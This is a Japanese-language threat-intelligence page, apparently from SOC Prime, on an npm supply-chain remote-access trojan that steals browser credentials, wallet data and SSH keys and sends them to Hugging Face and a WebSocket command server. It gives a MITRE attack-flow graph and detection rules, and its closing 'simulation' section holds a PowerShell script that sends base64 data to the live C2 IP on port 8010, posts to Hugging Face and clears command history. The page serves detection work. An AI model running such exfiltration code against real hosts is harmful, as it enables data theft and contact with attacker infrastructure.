SOC Prime Bias: 重大

03 Jun 2026 16:20 UTC

MicrosoftSystem64:Hugging Faceにデータを抽出するサプライチェーンRAT

Author Photo
SOC Prime Team linkedin icon フォローする
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

悪意のあるnpmパッケージ名 js-logger-pack が、MicrosoftSystem64というクロスプラットフォームのNode.js単一実行可能アプリケーションを配布するために使用されました。このバイナリは、高機能なリモートアクセス型トロイの木馬であり、暗号通貨ウォレット拡張機能、ブラウザに保存された認証情報、SSHキー、Telegramセッションデータ、スクリーンショットを盗むことが可能です。盗まれた情報は、侵害されたAPIトークンを用いてプライベートなHugging Faceデータセットを通じて流出し、コマンドと制御のトラフィックは 195.201.194.107:8010のWebSocketサーバーを通じて処理されます。このキャンペーンは、npmとHugging Faceアカウントをローテーションしてアクセスを維持し、作戦を続行する北朝鮮関連の脅威アクターと関連付けられています。

調査

SafeDepはマルウェアサンプルを分析し、そのXORで暗号化された設定、コマンドと制御のエンドポイント、Hugging Faceトークン、そして対象とするウォレット拡張IDのリスト(80を超える)を抽出しました。研究者らは、Windows、macOS、Linuxシステム全体で使用される永続化手法を検討し、Hugging Face APIを含む完全な流出チェーンを再構築しました。5月28日のライブ検証で、被害者から取得されたスクリーンショットと認証情報アーカイブがまだ受け取られていることが確認されました。

緩和策

組織は直ちにこのキャンペーンに関連する既知の悪意あるnpmパッケージを削除し、侵害された認証情報、SSHキー、および暗号通貨ウォレットシードを更新し、Hugging Face APIの不正使用を監視するべきです。エンドポイント保護は MicrosoftSystem64 プロセス名および関連するタスクの作成を検出する必要があります。ネットワーク制御はまた、識別されたコマンドと制御のIPアドレスへの外部トラフィックをブロックし、未知のバイナリからのHugging Faceエンドポイントへの予期しないアクセスを制限するべきです。

対応

MicrosoftSystem64が検出された場合、直ちに影響を受けたシステムを隔離し、悪意のプロセスを終了し、インストールされたファイルとスケジュールされたタスクを削除し、侵害されたHugging Faceトークンを取り消してください。調査官はログおよび流出データパスからの法医学的証拠を収集し、関連する関係者に通知し、将来のビルドで悪意あるパッケージをブロックするために依存関係スキャンツールを更新すべきです。

graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% ツール・マルウェアノード tool_npm[“<b>ツール</b> – npmパッケージ `js-logger-pack`<br/><b>説明</b> SEAバイナリ `MicrosoftSystem64` を含む”] class tool_npm tool malware_binary[“<b>マルウェア</b> – バイナリ `MicrosoftSystem64`<br/><b>説明</b> Node.js SEAとしてパッケージされたクロスプラットフォームELF、XOR暗号化設定付き”] class malware_binary malware infra_c2[“<b>インフラ</b> – WebSocket C2<br/>IP 195.201.194.107 ポート 8010”] class infra_c2 infra %% 攻撃アクションノード init_supply_chain[“<b>アクション</b> – <b>T1195.001 サプライチェーン侵害</b><br/>攻撃者が悪性npmパッケージ `js-logger-pack` を公開しSEAバイナリを含める”] class init_supply_chain action execution_ingress[“<b>アクション</b> – <b>T1105 侵入ツール転送</b><br/>ユーザーがパッケージをインストールし、同梱Node.jsバイナリが実行される”] class execution_ingress action defense_obfuscation[“<b>アクション</b> – <b>T1027.009 / T1027.004 難読化されたファイルまたは情報</b><br/>ELFはSEAとしてパッケージ化され、XOR暗号化設定を使用”] class defense_obfuscation action persistence_mechanisms[“<b>アクション</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 永続化</b><br/>Windows Runキー、Active Setup、macOS LaunchAgent、Linux systemdサービスを作成”] class persistence_mechanisms action defense_hide[“<b>アクション</b> – <b>T1564.014 アーティファクト隠蔽</b> & <b>T1497.002 サンドボックス回避</b><br/>拡張属性とユーザー操作検知を使用”] class defense_hide action priv_esc[“<b>アクション</b> – 永続化機構による権限昇格<br/>Runキーやサービスを再利用して高権限を取得”] class priv_esc action cred_browser[“<b>アクション</b> – <b>T1217 ブラウザ情報収集</b> & <b>T1555.003 ブラウザ認証情報</b><br/>Chrome / Edge / Firefox および暗号資産ウォレット拡張データを窃取”] class cred_browser action keylogging[“<b>アクション</b> – <b>T1056.001 キーロギング</b><br/>キーロガーがWindows/macOS/Linuxでキー入力とクリップボードを記録”] class keylogging action collection_clip_video[“<b>アクション</b> – <b>T1115 クリップボードデータ</b> & <b>T1125 動画キャプチャ</b><br/>60秒ごとのスクリーンショットとクリップボード監視”] class collection_clip_video action collection_db[“<b>アクション</b> – <b>T1213.006 情報リポジトリデータ(データベース)</b><br/>ブラウザDB、SSH鍵、Telegram tdataなどを抽出”] class collection_db action c2_communication[“<b>アクション</b> – <b>T1105 C2通信</b><br/>WebSocket C2(195.201.194.107:8010)と通信”] class c2_communication action exfiltration_hf[“<b>アクション</b> – HuggingFace API経由の情報窃取<br/>盗んだデータをアカウント `jpeek998` にアップロード”] class exfiltration_hf action impact_resource[“<b>アクション</b> – <b>T1496.001 リソースハイジャック</b><br/>暗号資産ウォレット認証情報の窃取と悪用”] class impact_resource action %% フロー tool_npm –>|配布| malware_binary malware_binary –>|有効化| init_supply_chain init_supply_chain –>|移行| execution_ingress execution_ingress –>|移行| defense_obfuscation defense_obfuscation –>|移行| persistence_mechanisms persistence_mechanisms –>|有効化| defense_hide defense_hide –>|有効化| c2_communication persistence_mechanisms –>|有効化| priv_esc priv_esc –>|移行| cred_browser cred_browser –>|移行| keylogging keylogging –>|移行| collection_clip_video collection_clip_video –>|移行| collection_db collection_db –>|移行| c2_communication c2_communication –>|使用| infra_c2 c2_communication –>|移行| exfiltration_hf exfiltration_hf –>|結果| impact_resource

アタックフロー

検出

考えられる永続化ポイント [ASEP – ソフトウェア/NTUSER ハイブ] (via registry_event)

SOC Primeチーム
2026年6月3日

隠されたPowerShellコマンドラインによる実行の可能性 (via cmdline)

SOC Primeチーム
2026年6月3日

Linux .desktopファイルが異常なフォルダーに作成された (via file_event)

SOC Primeチーム
2026年6月3日

Linuxホストに隠しファイルが作成された (via file_event)

SOC Primeチーム
2026年6月3日

検出すべきIOCs (HashSha256): MicrosoftSystem64内のHuggingFaceへの流出を行うサプライチェーンRAT

SOC Prime AIルール
2026年6月3日

検出すべきIOCs (SourceIP): MicrosoftSystem64内のHuggingFaceへの流出を行うサプライチェーンRAT

SOC Prime AIルール
2026年6月3日

検出すべきIOCs (DestinationIP): MicrosoftSystem64内のHuggingFaceへの流出を行うサプライチェーンRAT

SOC Prime AIルール
2026年6月3日

SetWindowsHookExキーロギングによるマルウェア検出 [Windows Sysmon]

SOC Prime AIルール
2026年6月3日

LinuxシステムにおけるMicrosoftSystem64 RATの検出 [Linuxプロセス作成]

SOC Prime AIルール
2026年6月3日

HuggingFace経由のMicrosoft System64 RATデータ流出 [Windowsネットワーク接続]

SOC Prime AIルール
2026年6月3日

MicrosoftSystem64 RATの実行およびPowerShellコマンドの検出 [Windowsプロセス作成]

SOC Prime AIルール
2026年6月3日

シミュレーション実行

前提条件: テレメトリ & ベースラインプリフライトチェックが通過している必要があります。

理由: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃の説明とコマンド:
    攻撃者は既に「Microsoft System64 RAT」を被害にあったWindowsホストにインストールしています。盗まれたデータを流出するために、RATは二つの並行したアクションを実行します:

    1. C2チャネル: ハードコードされた悪意のあるサーバーに生TCPソケットをオープン 195.201.194.107 ポートで 8010 し、ベース64エンコードされたデータをストリームします。
    2. 隠密なHTTP流出: HTTPSで POST リクエストを https://huggingface.co/api/upload に対して発行し、同じデータをリクエストボディに埋め込み、通常のトラフィックと混ざるように正当な見た目のユーザーエージェントを使用します。

    両アクションは、Sigmaルールと一致するアウトバウンドファイアウォールイベントを生成します。

  • リグレッションテストスクリプト:

    # -------------------------------------------------
    # System64 RAT流出シミュレーション (PowerShell)
    # -------------------------------------------------
    # 1. ダミーの流出データを準備
    $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json
    $b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
    
    # 2. 生TCPでデータを送信 (C2)
    $c2Ip   = "195.201.194.107"
    $c2Port = 8010
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port)
        $stream    = $tcpClient.GetStream()
        $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
        $stream.Write($bytes, 0, $bytes.Length)
        $stream.Close()
        $tcpClient.Close()
        Write-Host "[+] TCP exfil sent to $c2Ip:$c2Port"
    } catch {
        Write-Error "[-] TCP connection failed: $_"
    }
    
    # 3. HuggingFaceへHTTPSでデータを送信 (隠密な流出)
    $uri = "https://huggingface.co/api/upload"
    try {
        Invoke-WebRequest -Uri $uri `
            -Method POST `
            -Body @{ data = $b64 } `
            -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
            -UseBasicParsing
        Write-Host "[+] HTTP exfil sent to huggingface.co"
    } catch {
        Write-Error "[-] HTTP request failed: $_"
    }
  • クリーンアップコマンド:

    # 残存ネットワークアーティファクトを削除
    Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # PowerShell履歴の消去 (オプション)
    Clear-History